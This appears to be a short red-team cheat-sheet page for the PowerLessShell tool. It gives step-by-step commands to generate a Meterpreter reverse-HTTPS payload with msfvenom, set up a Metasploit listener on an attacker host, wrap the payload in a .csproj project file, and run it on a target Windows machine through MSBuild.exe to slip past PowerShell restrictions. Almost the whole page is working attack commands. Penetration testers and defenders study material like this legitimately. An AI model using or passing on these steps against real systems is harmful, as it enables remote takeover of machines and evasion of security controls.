githubEdit

PowerLessShell

Steps

1) Generate payload

msfvenom -p windows/meterpreter/reverse_winhttps LHOST=<IP> LPORT=445 -f psh-reflection > shell.ps1

2) Set Metasploit listener (Meterpreter example)

msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_winhttps; set lhost <IP>;set lport 445;exploit"

3) Build the project file

python2 PowerLessShell.py -type powershell -source ~/opt/shell.ps1  -output ~/opt/shell.csproj

4) After building completes, transfer the .csproj file to the target system. Then use the command below to execute. (Framework versions will vary).

c:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe c:\windows\temp\shell.csproj

5) PROFIT!

Last updated